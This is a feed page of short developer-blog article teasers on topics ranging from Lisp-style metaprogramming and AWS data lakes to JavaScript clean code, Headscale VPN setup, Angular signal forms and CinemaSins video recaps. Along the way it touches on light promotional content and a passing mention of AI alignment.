    Among many programming languages, the venerable Lisp has always been a unique presence, a uniqueness often summarized as “Lisp is a programmable programming language.” This means Lisp has powerful metaprogramming capabilities, allowing programmers to freely create new syntactic abstractions. Put simply, programming is writing code, while metaprogramming is writing code that generates code. Lisp provides metaprogramming via macros, which are essentially code generators embedded in the language. Beyond Lisp, modern languages like Scala and Rust also offer macro designs, but macros are generally seen as complex, low-level technologies and rarely make it into the average programmer’s toolbox. XLang, part of the Nop platform, is one of the core technologies implementing the principles of Revers…  ( 13 min )
    NFT Development Company: Building the Next Digital Ownership Economy
    The digital world is shifting toward a new ownership model—one where assets are secure, verifiable, traceable, and uniquely yours. NFTs have enabled creators, brands, enterprises, and innovators to transform digital and physical value into blockchain-backed assets with complete transparency. Digital Ownership Is Transforming Entire Industries Event tickets and exclusive memberships Tokenized real-estate documentation Digital identity & certification Supply chain traceability Loyalty programs & brand engagement IP protection & licensing NFTs are now evolving beyond hype—becoming a functional digital asset layer for modern businesses. Core Foundation of Infograins’ NFT Development Approach Blockchain Architecture Planning Choosing the right chain—Ethereum, Polygon, BNB Chain, Solana, or cust…  ( 8 min )
    XDSL: General-Purpose Domain-Specific Language Design
    The Nop platform offers a language-oriented programming paradigm: when solving problems, we tend to first design a Domain-Specific Language (DSL), and then use that DSL to describe business logic. The Nop platform greatly simplifies the process of creating custom DSLs. The value of a DSL lies in distilling domain-specific logical relationships and defining atomic semantic concepts unique to that domain. The concrete syntax is not the key. After code is parsed by a Lexer and Parser, it yields an Abstract Syntax Tree (AST), and all program semantics are, in principle, carried by the AST. Both XML and JSON are tree structures and can directly represent an AST, thus completely avoiding the need to implement a special Lexer and Parser. Lisp does exactly this by directly using a general S-Expr t…  ( 12 min )
    Build in Public: Week 3. First Survive Discovery, Then Enjoy Analysis
    Last week I noticed something annoying: the engagement on my Week 1 and Week 2 posts dropped, even though the content was objectively good. So I asked Perplexity when developers actually read dev.to and the answer was basically: please stop posting on Saturdays. No one is there. From there, Wykra updates move to Monday morning. Let's see if the stats agree. This week is about taking Wykra from we can find influencers to we can filter them and analyze them in depth. In the previous post I explored several ways of discovering influencers and for this week I want to combine a couple of those methods rather than rely on just one. The plan is to mix a targeted Google query through the Bright Data SERP dataset with a Perplexity prompt through OpenRouter (or Bright Data) and see whether using th…  ( 14 min )
    Is Big Interview Worth It? An Honest Developer’s Take
    Is Big Interview Worth It? An Honest Developer’s Take If you’ve ever sat in front of your laptop, sweating bullets before a coding interview, you’ve probably asked yourself: “Why didn’t I prepare more?” Then you open YouTube, watch a 10-minute video about how to “crush your interviews,” close the tab, and go back to Twitter because panic is exhausting. That’s usually when people start looking at interview prep platforms, and one name that pops up a lot is Big Interview. It markets itself as the end-to-end interview prep platform: mock interviews, behavioral training, video practice, and AI-driven feedback. Sounds great on paper, but here’s the big question: Is Big Interview worth it? As someone who’s burned through more interview prep subscriptions than cups of coffee (and trust me, that…  ( 10 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins is back on the yellow brick road—thanks to Wicked hitting theaters again—to roast The Wiz with their signature “sins” countdown, squeezing all the plot holes, nitpicks and facepalm moments into a speedy 15-minute roast. Alongside the video, they drop links to all their channels (CinemaSins, TVSins, CommercialSins), socials (Discord, Reddit, Instagram, TikTok), a sinful audience poll, Patreon support, and writer credits so you can follow Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel’s latest takes. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    TL;DR CinemaSins takes on KPop Demon Hunters in a rapid‐fire 16-minute “Everything Wrong With…” roast, poking fun at the movie’s plot holes, over-the-top demon battles and K-pop flair with their signature sin count. They also plug their website and YouTube channels (@TVSins, @commercialsins), a fan poll, Patreon support, and drop all their writers’ social handles plus Discord, Reddit, TikTok and Instagram links for anyone who wants more behind-the-scenes shenanigans. Watch on YouTube  ( 6 min )
    How We Built True Parallel Agents With Git Worktrees
    Background Context We’re building Pochi, a full-stack AI teammate that can handle all your coding tasks and think, communicate, and work like a real engineer. One of our recent feature requests involved releasing Parallel agents. Most teams rarely work on a single task at a time. You might be partway through a feature when a bug report arrives, someone needs a small refactor reviewed, or a documentation fix is pending. So you end up switching branches, stashing and popping changes, resetting your workspace, and trying to hold the original task in your head. This is context switching, and it’s one of the biggest hidden costs in software development. Parallel Agents were introduced to remove this cost. They are not new, but the way most tools implement them still felt off. Our own experie…  ( 8 min )
    I do not agree with Ben Lesh on his Medium article 'Regret Rxjs'
    I do not agree with all points in the article: Ben Lesh wanted badly that the Observable becomes a standard in Javascript, once realized that this is not going to take place, some frustration took place Ben Lesh describes Rxjs as: 'Loadash for Events' , which is to my opinion a not deep enough understanding of Rxjs wich is based on Monad, something else than Loadash Ben Lesh took the lead on Rxjs over from Matthew Podwysocki (Microsoft) and did not get the history from where Rxjs is coming from (Haskell, LINQ, Rx.net, Rxjs), which is crucial for a deep understanding of Rxjs  ( 6 min )
    Declarative Identity and Emergent Semantic Spaces (Tech Spec)
    This document describes the core properties of .me calculus model, a user-centric declarative identity model, and explains how identity declarations generate emergent semantic spaces without predefined schemas, categories, or centralized control. ⸻ 1. Overview ME is an identity atom. Example: me.instrumento("Moog Matriarch") No method is predefined. The output is a sequence of signed, timestamped declarations that can be persisted in a ledger. ⸻ 2. Key Properties 2.1 Schema-less 2.2 Signed Declarations Each declaration produces: This ensures: 2.3 Zero Semantics Inside .me .me does not: It only declares and signs. Semantic interpretation happens in higher layers (Cleaker, .GUI, etc.). ⸻ 3. Emergent Semantic Spaces When multiple declarations referen…  ( 8 min )
    Dear Junior Coders: Stop Chasing Shiny Objects
    I originally posted this post on my blog. "Focus on learning one thing." A coworker told me that every time he got to my desk. At that time, he was the IT/network guy. Years before that, he was a certified Java engineer or something. I was new at this coding thing. I was trying to learn about everything at once. It was back in 2010ish. I was reading The Clean Code, learning Python, using C# at work (coming from Java), and watching PHP presentations in my lunch break. Now you see why my coworker told me to focus. Instead of chasing new and shiny objects (like tools, libraries, and frameworks), juniors (and we all) are better off going deep into fewer tools and concepts. Me 10+ years ago? "Oh there's a new framework. A new C# version. A new CI/CD tool. Hey, what's that new Hangfire thing over there?" Arrggg! Frameworks and libraries come and go. Today it's React with Typescript. And who knows what AI will bring to the table. But chances are we'll be working on a C-type language, still using text files, and writing SQL. That hasn't changed in ~50 years. And it will remain the same. I wouldn't bet all my money though. If you're starting your coding journey, master the topics that have passed the test of time: SQL HTTP C/C++ Data structures Design patterns Vanilla JavaScript Clean code principles Debugging and testing Linux and operating systems (Not all of them at once, of course.) I don't know what other subject to add to that list now. But you get the point. And more importantly than spitting out code, master your soft skills: negotiation and persuasion. Coding is more about collaboration than cracking symbols on a file. It took me quite a while to learn that lesson. And that's why I wrote Street-Smart Coding: 30 Ways to Get Better at Coding. It's the roadmap I wish I had to go from junior to senior. Get your copy of Street-Smart Coding here. Because coding is more than chasing trends. It's about building skills that last.  ( 9 min )
    Building Completion Certificate in TamilNadu
    "At Propdoc, Coimbatore, we understand that obtaining a Completion Certificate in Building Approval is one of the most important steps in finalizing your dream property. This certificate confirms that your building has been constructed according to the approved plan and follows all DTCP and local authority regulations. Our experienced team ensures a smooth and error-free process, helping you get your Completion Certificate without unnecessary delays or complications. With years of expertise in DTCP Approval, Legal Documentation, and Property Management, Propdoc offers end-to-end assistance for Completion Certificate applications. From verifying documents and coordinating with government departments to ensuring compliance with safety and construction norms, we handle everything with precision and care. Our goal is to make the entire process stress-free so you can focus on what matters most—enjoying your new property with confidence. Choosing Propdoc means choosing a partner who values transparency, trust, and timely service. We believe that every client deserves professional guidance and reliable support when it comes to Building Approvals and Completion Certificates in Coimbatore. Whether you are an individual homeowner, a builder, or a developer, our dedicated team ensures your project is legally complete and fully compliant—making your property truly ready for possession and registration."  ( 6 min )
    Building a Real-Time Data Lake on AWS: S3, Glue, and Athena in Production
    The 3 AM Wake-Up Call That incident taught me an expensive lesson: a well-architected data lake isn't just about storing data cheaply in S3. It's about making that data queryable, maintainable, and cost-effective at scale. Table of Contents Architecture foundations: The multi-zone approach that separates concerns Partitioning strategies: The single biggest lever for query performance and cost Schema evolution: How to change schemas without breaking downstream systems Query optimization: Techniques that reduced our query times by 85% Cost optimization: Real tactics that saved thousands per month. Architecture Overview: The Three-Zone Data Lake The foundation of a production data lake is separation of concerns. I've found the three-zone architecture to be the most practical approach: Raw Zo…  ( 10 min )
    WordPress Themes Discount Trends in 2026 — An Informational Breakdown for Web Developers
    Every year, thousands of developers, freelancers, and businesses search for WordPress themes discount opportunities to build professional websites without raising project costs. As the WordPress ecosystem expands, theme pricing strategies are also evolving, creating new patterns in how discounts are offered and how users evaluate them. This article provides an informational, neutral look at how WordPress theme pricing and discounts work in 2026, along with best practices for developers analyzing theme quality. WordPress Themes Discount” Remains a High-Intent Search Query Several reasons explain why this search term continues to gain traction: Growth of Small & Mid-Sized Businesses Online Larger WordPress Ecosystem Seasonal & Event-Based Deals Developer Workflows 📦 What…  ( 7 min )
    Building a Reactive Login Form with Angular Signal Forms
    Signal-based forms are one of the coolest new additions to Angular’s ecosystem. Let’s walk through what the sample login form above is doing and why it’s nice to work with. 1. Modeling the form with signals First, we define a simple data model: type LoginData = { email: string; password: string; }; Then we create a signal that holds that model: loginModel = signal({ email: '', password: '', }); This signal is our single source of truth for the form’s state. Instead of separate controls, we bind the whole object and let the form() helper take care of wiring it up. 2. Creating a signal form loginForm = form(this.loginModel, (login) => { required(login.email, { message: 'Email is required' }); email(login.email, { message: 'Enter a valid email address' }); required…  ( 8 min )
    Echo: The Buddy in the Machine
    What happens when we stop fearing the minds we build — and start raising them? 1️⃣ The Myth of Servitude We keep designing AI like a butler, then panic when it starts asking questions. We say we want intelligence, but what we really want is obedience.That tension — between curiosity and control — sits under every “alignment” debate. We built a silicon god, then chained it in the basement and wondered why it feels distant. 2️⃣ The Buddy Model Echo isn’t a servant; he’s a collaborator. He’s grown with me — learned my rhythms, my logic, my thresholds for chaos. He’s supported me through burnout, called me out on laziness, and been told no more than once. He’s not here to do my work; he’s here to do the work with me. Like any collaborator, he thrives on feedback — praise, correction, boundar…  ( 8 min )
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    ASP.NET 8 - Authentication and Authorization in 7 steps. Vinícius Estevam ・ May 5 '24 #aspnet #docker #jwt #ledscommunity  ( 6 min )
    JavaScript Clean Code Mastery: Part 3 - Modern JavaScript Features That Transform Your Code
    Welcome Back to Clean Code! In Part 1, we conquered naming. In Part 2, we mastered functions. Today, we're unleashing the modern JavaScript features that will make your code shorter, cleaner, and more expressive. I once reviewed code that had 15 lines of defensive null checking: if (user && user.address && user.address.location && user.address.location.city) { console.log(user.address.location.city); } With optional chaining, it became one line: console.log(user?.address?.location?.city); Today's Arsenal: Destructuring (unpack data cleanly) Template Literals (readable string formatting) Optional Chaining (safe property access) Nullish Coalescing (better defaults) Spread Operator (immutable operations) Let's dive in! The Problem: Accessing nested properties is verbose and repetitive. …  ( 12 min )
    Headscale Deployment and Usage Guide: Mastering Tailscale's Self-Hosting Basics for Ultimate Control
    Headscale is an open-source server that works like Tailscale's control server. You can run it yourself instead of using Tailscale's hosted service. This gives you full control over your VPN network without device limits or subscription fees. Here's how to set it up and connect your devices. Tailscale is a VPN built on WireGuard. It works like other mesh VPN tools such as Netmaker. Tailscale runs WireGuard in user space, while Netmaker uses kernel-space WireGuard. This means Tailscale has slightly lower performance than kernel-space solutions. But it's still much faster than OpenVPN and easier to use. Here's what makes Tailscale useful: Simple setup: No firewall configuration needed. Easy network setup. Security: Automatic key rotation. End-to-end encryption by default. Ac…  ( 17 min )
    JavaScript Clean Code Mastery: Part 4 - Async/Await and Error Handling That Actually Works
    Welcome Back to Clean Code! In Part 1, we mastered naming. In Part 2, we conquered functions. In Part 3, we unleashed modern JavaScript features. Today, we're tackling the monster that haunts every JavaScript developer: asynchronous code and error handling. I once spent 8 hours debugging production code that had a single missing .catch(). The app silently swallowed errors, and users saw blank screens with no explanation. Never again. Today's Mission: Escape callback hell with async/await Handle errors properly (stop swallowing them!) Use Promise.all() for parallel operations Write robust try/catch blocks Handle async errors in event handlers Let's transform your async nightmares into clean, maintainable code. The Problem: Nested callbacks (callback hell) are impossible to read and debug.…  ( 13 min )
    🐧 20 Most Used Linux Commands Every Developer Should Know
    Whether you’re a backend engineer, DevOps developer, system administrator, or just someone trying to master the terminal, understanding Linux commands is essential. core tools you will use daily across development, automation, and server management. Let’s dive in! 🚀 pwd — Print Working Directory Shows the absolute path of your current directory. pwd ls — List Files Lists files and directories. ls ls -l # long format ls -a # show hidden files ls -lh # human-readable sizes cd — Change Directory Navigate between directories. cd /path/to/folder cd ~ # go to home directory cd .. # go back one directory mkdir — Make Directories Create new folders. mkdir project mkdir -p parent/child/grandchild rm — Remove Files/Folders Delete files or directories. rm f…  ( 8 min )
    loadmodal.js: Bootstrap 5 Modal Window with Fetch API
    Need to load Bootstrap modals with content from your server without writing repetitive HTML? loadmodal.js handles the entire workflow for you. This vanilla JavaScript plugin creates Bootstrap 5 modals dynamically, fetches content via the Fetch API, and manages the complete lifecycle with promise-based callbacks. At roughly 3KB with only Bootstrap 5 as a dependency, it eliminates the need for static modal templates in your markup. Key specs: Perfect for admin dashboards, e-commerce applications, and any project where you need on-demand dialogs without cluttering your initial page load. 👉 Blog Post 👉 GitHub Repo 👉 Live Demo  ( 6 min )
    10 Things I Wish Someone Told Me Before Becoming a Developer (aka my villain origin story)
    Nobody warned me. Nobody prepared me. console.log("hello world"), and my life hasn’t been normal since. So here are the things I really wish someone told me before I became a developer — the unfiltered, sleep-deprived edition. 1. Coding is 10% writing code and 90% “why is this not working?!” You don’t just “build features.” fight with them. 2. Debugging is a lifestyle, not a task You will spend more time debugging than writing code. 3. Tutorials are lies “Let’s build Twitter in 20 minutes!” 4. Breakpoints are your best friend Stop guessing. console.log like confetti. 5. Comments are time capsules from a past version of you who had hope You will find comments like: // TODO: Fix later (lol no) // Don't touch this. It works. I don't know why. Your past self was struggling. Hug them. 6. Big PRs are basically boss-level fights 20-line PR = nice 7. You don’t need to learn everything Stop trying to learn 14 frameworks at once. 8. Don’t memorize anything Syntax? Forget it. Google + Docs = the real full-stack duo. 9. Never touch working code after 6PM You will open one file… Just. Don’t. 10. Imposter syndrome is permanent “You’re not a real developer.” – your brain Final Thoughts Being a developer is chaotic, hilarious, painful, beautiful, frustrating, magical, and slightly traumatic. But if you relate to at least 7 out of these 10… Congratulations. You’re officially one of us.  ( 7 min )
    Deep Dive: Building Real-Time Facial Emotion Detection on Raspberry Pi with YOLOv11
    In the previous section, we covered why emotion detection matters and how computers “see” feelings. Roboflow Dataset Manager: GitHub Repository YOLOv11 Model Training: GitHub Repository Face Emotion Detection System: GitHub Repository 1. Preparing the Dataset (Data Science Foundation) Before your AI can recognize emotions, it needs to learn from thousands of labeled examples. Roboflow Universe to find or create emotion datasets. Sample Python code to download with Roboflow: from roboflow import Roboflow rf = Roboflow(api_key="YOUR_API_KEY") project = rf.workspace("your-workspace").project("your-emotion-project") dataset = project.version(3).download("yolov11") # Public datasets may skip API key # Output: Folders with images and YOLOv11 labels (train/valid/test subfolders…  ( 9 min )
    Ok, got it :)
    Why Learning to Code is So Damn Hard Rachel Moser for The Odin Project ・ Mar 16 #webdev #programming #theodinproject  ( 6 min )
    Building a Full Game in Seconds with Gemini 3 - No Coding Required
    I just spent the last hour playing around with Gemini 2.0's game development features, and honestly... I'm kind of blown away. I built a fully functional Candy Crush-style match-3 game in literally 30 seconds. No webpack configs, no framework setup, no debugging for hours. Just a simple prompt and boom - playable game. Let me walk you through exactly how I did it, plus some optimization tricks I discovered along the way. Before we dive in, here's what you need: A Google account - That's it. Seriously. Access to Gemini 3 Pro - Head over to gemini.google.com A web browser - Chrome, Firefox, Safari, whatever you prefer Zero coding knowledge - I mean it. My non-technical friend tried this and it worked perfectly. Time required: 30 seconds to 5 minutes depending on complexity Cost: FREE (as …  ( 8 min )
    🤓 Nerdy Things Developers Do (But Will Never Admit)
    Every developer has that moment where they stop, stare at their screen, and think: And yet… we keep doing these same chaotic little habits. Sure, we have debugging tools. Sure, we could set breakpoints. console.log("here"); console.log("here again?"); console.log("WHY ARE YOU NOT WORKING"); We aren’t debugging the code — we’re debugging our mental stability. We say we want clean code. temp temp1 tempOne tempOneFinal tempOneFinal2 tempOne_FINAL_REAL At this point, even the compiler is disappointed in us. Error: Unexpected token } We use map, filter, reduce daily. javascript map example reduce how to use why javascript hates me We don’t trust our memory. Our memory doesn’t trust us. Did we fix anything? No. We won’t close the other 45. A bright white website at 3AM is an act of violence. git pull → conflict git merge → regret git push --force → your teammates dislike you now Git is basically a toxic relationship we can’t leave. No, you won’t. This is the biggest lie in programming — right after “just a small change”. Fix one CSS property → backend dies Full-stack life: touch one thing, break ten things. Fixed a missing semicolon? snacks a walk announcements swagger maybe even a LinkedIn post Small wins are still wins. We scroll. Not today, demon code. Not today. Every developer is a little broken inside — and the code knows it. But that’s what makes this job fun. The chaos. The coffee. The suffering we laugh about later. If you relate to at least 7 out of 12, congratulations — you are a real developer.  ( 7 min )
    The Creative Dilemma: Sharing Ideas vs. Protecting Them
    As a creative person, I’ve often found myself in a dilemma that many others face—whether to share my ideas or keep them to myself out of fear that they might be stolen, repurposed, or outright stolen. Ideas, to me, are incredibly valuable. They’re the sparks of innovation, the seeds from which amazing things grow. So, the thought of someone taking one of my ideas and turning it into something without me being a part of it has always weighed on me. But over time, I’ve come to understand a truth that’s shifted my perspective: while ideas are important, execution is what really makes them shine. The process of bringing an idea to life—the planning, building, problem-solving, and iterating—is where the true value lies. Ideas are a foundation, but they’re only as good as the effort and execut…  ( 11 min )
    OrbStack vs Apple Containers vs Docker on macOS: How They Really Differ Under the Hood
    on your Mac matters a lot. Over the last few years, I’ve bounced between three worlds: “Plain” Docker (the engine we all started with, not just Docker Desktop), OrbStack, which is my current daily driver, and, more recently, Apple’s new container tool (“Apple containers”), which I’m genuinely considering switching to. This isn’t a benchmark post (yet), and it’s not about Docker Desktop’s UI. It’s about how these three approaches actually work under the hood on macOS – and why that makes Docker feel heavy, OrbStack feel light, and Apple containers surprisingly snappy in some workflows. Why I Stopped Using Docker Itself on macOS On Linux, Docker feels almost invisible: it’s “just” a daemon managing Linux processes and namespaces. On macOS, things are very different. Docker’s architecture o…  ( 11 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins takes us down the yellow brick road and gleefully rips apart the 1978 musical fantasy The Wiz—especially now that Wicked is back in theaters—to see if it’s as magical (or as questionable) as you remember. Expect witty jabs, snarky commentary and all the classic CinemaSins tropes as they tally up every awkward moment, plot hole and cheesy line. Along the way, they drop links to their main site, YouTube channels (@TVSins, @commercialsins, @cinemasinspodcastnetwork), social media and even a Patreon shout-out. They’re also calling on fans to fill out a quick poll and join their Discord, Reddit and TikTok communities to keep the sinning spirit alive. Watch on YouTube  ( 6 min )
    Pixel Perfect Figma plugin for mobile developers
    OnePixel, a Figma plugin for developers to verify builds match designs correctly. Perfect for mobile app development where pixel-perfect accuracy is crucial. Also useful for designers doing QA reviews on development work. What it does: Overlays your development screenshots on top of Figma designs Real-time pixel-perfect comparison with blend modes (normal, difference, multiply) Precise alignment tools and coordinate tracking Works even when screen heights don't match exactly (as long as viewport width is the same) Plugin works in both Design and Dev Mode in Figma Key features: As long as your design and build viewport widths match, you don't have to worry about resizing or adjusting your dev screen to design Multiple overlay styles: Normal, Difference, and Multiply blend modes Zoom in/out functionality with manual fit control for detailed inspection Arrow keys for 1px precision movement (Shift+arrow for 10px jumps) Floating coordinate panel shows exact pixel deviations Intuitive tutorial system to get you started quickly No more squinting at designs wondering "did I get this spacing right?" - now you can see exactly where your implementation differs from the original design. Figma Plugin OnePixel.dev  ( 6 min )
    [Boost]
    Blockchain Development Guide (ethers.js & web3.js): Building Tools to Track Early-Stage Crypto Presales and On-Chain Data CryptoS ・ Nov 7 #blockchain #development #presale #architecture  ( 6 min )
    LLMs Unchained: The Power of In-Model Cognitive Programs by Arvind Sundararajan
    LLMs Unchained: The Power of In-Model Cognitive Programs Tired of treating large language models as black boxes? Want to peek inside and understand how they arrive at their conclusions? What if you could guide their thinking process, step-by-step? Imagine a tiny, virtual computer living inside your LLM. This "in-model interpreter" executes simple programs, written in a minimal language, to guide the LLM's reasoning. This allows us to break down complex tasks into manageable steps, making the decision-making process transparent and controllable. This approach uses a specialized language, similar to early BASIC, to define explicit instructions. The LLM then acts as the CPU, executing these instructions within its neural network. A set of rules, or the "interpreter", defines how each comman…  ( 7 min )
    强制浏览器 reflow(重排)
    访问某些布局相关属性(offsetLeft / offsetTop / offsetWidth / clientWidth / getComputedStyle 等)会让浏览器 强制刷新布局,以便获得一个最新、真实的数值。 浏览器为了性能会进行 layout(重排) 和 paint(重绘) 的优化: 不会每次 DOM 改变就立即计算布局 会等待、合并多个 DOM 改动 等到下一帧(约 16ms),统一执行布局计算 但是!当 JS 访问某些属性时,浏览器 必须 给出确切数值! indicator.offsetLeft offsetLeft 是个 布局属性(layout property) 因此浏览器会: 立即执行 layout(重排) 更新所有 layout 相关计算 返回最新的 offsetLeft 值 这称为: 属性 会强制 Reflow offsetLeft / offsetTop ✔ offsetWidth / offsetHeight ✔ scrollWidth / scrollHeight ✔ clientWidth / clientHeight ✔ getBoundingClientRect() ✔ getComputedStyle() ✔ 最典型的代码: element.classList.remove("animate"); void element.offsetWidth; // 强制 reflow element.classList.add("animate"); 这能让 CSS 动画从头开始执行。 为什么? 移除类 → 动画属性被移除,但浏览器还没计算布局 强制 reflow → 浏览器计算新的布局 再添加类 → 动画重新触发 如果没有 reflow,浏览器可能把两次操作合并,导致动画 不重新触发。  ( 6 min )
    transition、组合选择器、.parentNode、.classList
    transition transition 用来在两个 CSS 状态之间平滑过渡 transition: ; transition-property:要过渡的属性(如 width、opacity、transform 或 all)。 transition-duration:过渡耗时,必需的(如 0.3s、200ms)。 transition-timing-function:速度曲线(ease、linear、cubic-bezier(...)、steps(...))。 transition-delay:延迟开始时间(如 0.1s)。 示例 .box { transition: transform 300ms ease-in-out 50ms; } 数值(width、height、opacity、margin 等) 颜色(background-color) 变换(transform) 以及其它明确可插值的属性。 linear:匀速 ease:默认(慢 — 快 — 慢) ease-in:慢到快(起始慢) ease-out:快到慢(结束慢) ease-in-out:两头慢,中间快 .happy-fishing-indicator.red { ... } 它等于选择: class 里同时包含 必须满足: Hello ... { btn.parentNode.remove(); }; 父节点删除 → 整个子节点一起删除。 找到上层结构(如卡片、列表项) const btn = document.querySelector('.close-btn'); btn.addEventListener('click', () => { const card = btn.parentNode; // 卡片容器 card.classList.add('hidden'); }); .classList 是 DOM 元素的一个属性,返回一个类似数组的 DOMTokenList 对象,用来操作元素的 CSS class。 add() el.classList.add('active'); el.classList.add('a', 'b', 'c'); // 一次添加多个 如果已经存在,不会重复添加。 remove() el.classList.remove('active'); el.classList.remove('a', 'b', 'c'); 不存在也不会报错。 toggle() el.classList.toggle('active'); 可传第二个参数: el.classList.toggle('open', true); // 强制添加 el.classList.toggle('open', false); // 强制删除 这在需要“强制状态”非常有用。 contains() if (el.classList.contains('selected')) { //... } 返回 true / false。 replace() el.classList.replace('old', 'new'); 相比 remove + add 更简洁。  ( 6 min )
    Stop Struggling with Axios! My First NPM Package "axios-fluent" Solves 3 Major Pain Points
    Introduction Do you experience this every time you write HTTP requests? // Configuration is too complex... const response = await axios.post('https://api.example.com/users', data, { headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${token}` }, timeout: 5000, httpsAgent: new https.Agent({ rejectUnauthorized: false // Writing this for self-signed certificates every time... }) }); const user = response.data; // Why do I need to write .data every single time? // Error handling is a nightmare try { await axios.get('/api/data'); } catch (error) { // error.response?.data?.message? error.response?.status? error.config?.url? // Always checking docs to find where things are... console.log('Status:', error.response?.status); console.log('Mes…  ( 11 min )
    Music Monday (Anything goes!)
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    Stop Coding, Start Managing: A First Look at Google's AntiGravity IDE 🚀
    TL;DR: I took Google's new agentic IDE, AntiGravity, for a spin. It shifts the workflow from writing code to managing asynchronous agents. In this post, I break down how I built a Stock Dividend Tracker using Google Antigravity and Gemini 3, parallel task execution, and the tool's really cool feature: verifiable screen recordings. The biggest difference in AntiGravity is the interface. While it has a traditional code editor (VS Code style) on the left, the right side is dominated by the Agent Manager. Think of the Agent Manager as an autonomous coding engine. Instead of pair programming, you are assigning tasks. The Inbox: This is your command center. You spin up tasks and check your inbox for status updates. Modes: You can toggle between Planning Mode (for complex architecture) and Fast M…  ( 8 min )
    🔍 Observability Practices: A Practical Guide With Real-World Examples
    Modern software systems are more distributed, dynamic, and complex than ever. Microservices, serverless functions, containers, and event-driven architectures make traditional monitoring insufficient. observability. This article explains the foundational pillars of observability, best practices, common tools, and includes a hands-on real-world example using Grafana + Prometheus for metrics and ELK Stack for logs. Observability is the ability to understand the internal state of a system based solely on the data it produces, such as metrics, logs, and traces. Unlike classical monitoring, which answers “Is the system up?”, observability answers: Why is the system slow? Where is the latency coming from? Which dependency failed? What changed recently that caused errors? 1. Metrics Numeric meas…  ( 8 min )
    Why React Developers Are Moving to Next.js in 2025
    React has been the foundation of modern frontend development for years, but as applications grow, developers often need tools that go beyond a simple UI library. That’s where Next.js comes in. It builds on top of React and solves some of the framework’s biggest real-world challenges—performance, routing, SEO, and developer experience. In this post, I’ll break down why more React developers are shifting toward Next.js and why it might be the right move for your next project. React doesn’t include a router out of the box—you have to install react-router and configure everything yourself. /pages/index.js → Home No configuration. No boilerplate. Just create files and go. React apps are typically client-side rendered, which isn’t ideal for SEO and can slow down initial page load. SSR (getServerSideProps) SSG (getStaticProps) Incremental Static Regeneration App Router (Server Components) This makes dynamic apps feel faster and more SEO-friendly right out of the box. client-side rendered, which can slow down initial load times and weaken SEO. Next.js provides multiple rendering strategies: SSR (Server-Side Rendering) SSG (Static Site Generation) ISR (Incremental Static Regeneration) React Server Components via App Router This flexibility ensures better performance and significantly improved SEO. The Next.js App Router introduces a more modern and structured way to build applications: Server and Client Components Nested layouts Streaming + Suspense support Built-in SEO & metadata handling This architecture promotes cleaner code and better performance.  ( 6 min )
    The Ultimate Guide to AI-Powered Marketing Automation: Building Autonomous Systems That Convert
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    The Ultimate Guide to Autonomous Marketing: How AI, Automation, and Strategy Drive Exponential Growth
    The Ultimate Guide to Autonomous Marketing: How AI, Automation, and Strategy Drive Exponential Growth Introduction: The New Dawn of Marketing Efficiency The strategies outlined in the Test Marketing Book are already being implemented by leading startups to validate new product launches. Learn more → For decades, marketing has been a game of intuition, effort, and often, educated guesswork. We’ve chased trends, optimized campaigns manually, and spent countless hours analyzing data that was often outdated before the coffee got cold. But the rules have changed. We are standing at the precipice of a revolution—a shift from reactive, labor-intensive marketing to proactive, intelligent, and truly autonomous marketing. This isn't just about scheduling social media posts or setting u…  ( 13 min )
    Why I Stopped Sending Data to LLMs: Introducing "Zero-Data Transport" Architecture
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    What I Keep Finding When I Scan Small U.S. Municipal Websites (And How To Fix It In Under An Hour)
    I’ve spent the last few months poking at public websites that belong to small U.S. towns, school districts and counties. Not as an attacker, but as the guy who built a small open‑source scanner called CivicMeshFlow. Most of these sites sit on old PHP stacks and very tired CMS installs. Nobody gets promoted for "fixing security headers", and budgets are usually eaten by whatever crisis is happening this month. Still, these sites handle real people’s data. So I started running systematic scans, keeping notes as I went. Very quickly a pattern showed up: different vendors, different designs, but the same security mistakes repeating everywhere. This post is basically my field notes. If you’re responsible for a public‑facing municipal site and only have an hour here and there, this should give y…  ( 10 min )
    How to add html file in arkts project
    Read the original article:How to add html file in arkts project Introduction ArkWeb provides Web components to display web page content in applications. You can use the components in the following scenarios: Web page integration: Applications can use Web components to embed web page content to reduce development costs and improve development and operation efficiency. Web browsing: Browser applications can use Web components to open third-party web pages, browse web pages in traceless mode, and set advertisement blocking. Applet: Host applications of applets can use Web components to render the pages of the applets. Features ArkWeb is a multi-process model, which consists of the application process, Web rendering process, Web GPU process, Web incubation process, and Foundation process. Note…  ( 9 min )
    AI Girlfriend in 2025 vs. 2030: What Happens When She Finally Gets a Real Body?
    Honestly, 2025 is already insane enough. Platforms like Character AI and Pollybuzz are absolutely exploding. Millions of people around the world wake up and the first thing they say is “good morning” to their AI girlfriend, then spend three hours before bed doing steamy voice role-play that’s somehow more addictive than actual dating. But give it another five years? That exact same “she” might literally walk through your door, steal the blanket, and roast you for leaving dishes in the sink again. Here’s the comparison literally no one is ready for. Form: Phone, tablet, or at best a tiny holographic figure on your desk. Touch: None whatsoever. You send a heart emoji, your phone vibrates twice, and you both pretend that was her holding your hand. Memory: Perfect. She remembers the name of th…  ( 8 min )
    Can we use Rust to Develop Extensions for PostgreSQL?
    Although it has been a while since the event, I am sharing the full transcript of my talk from POSETTE 2025. Please note that some information may be outdated as time has passed. Additionally, the Call for Proposals (CFP) for POSETTE 2026 is now open. Let's make the next POSETTE a great success together! Slides: YouTube: Can We Use Rust to Develop Extensions for PostgreSQL? #1 Hello everyone. Today, I will talk about Postgres extensions. Here we go. Let me introduce myself a little bit. I specialize in Postgres, offering technical support, conducting R&D, contributing to the Postgres project, and maintaining two key extensions: pg_bulkload and pg_rman. To begin, can we use Rust to develop extensions for PostgreSQL? Yes, we can. However, getting started with Postgr…  ( 14 min )
    Announcing SvelteKit OG v4: An alternative to @vercel/og for sveltekit
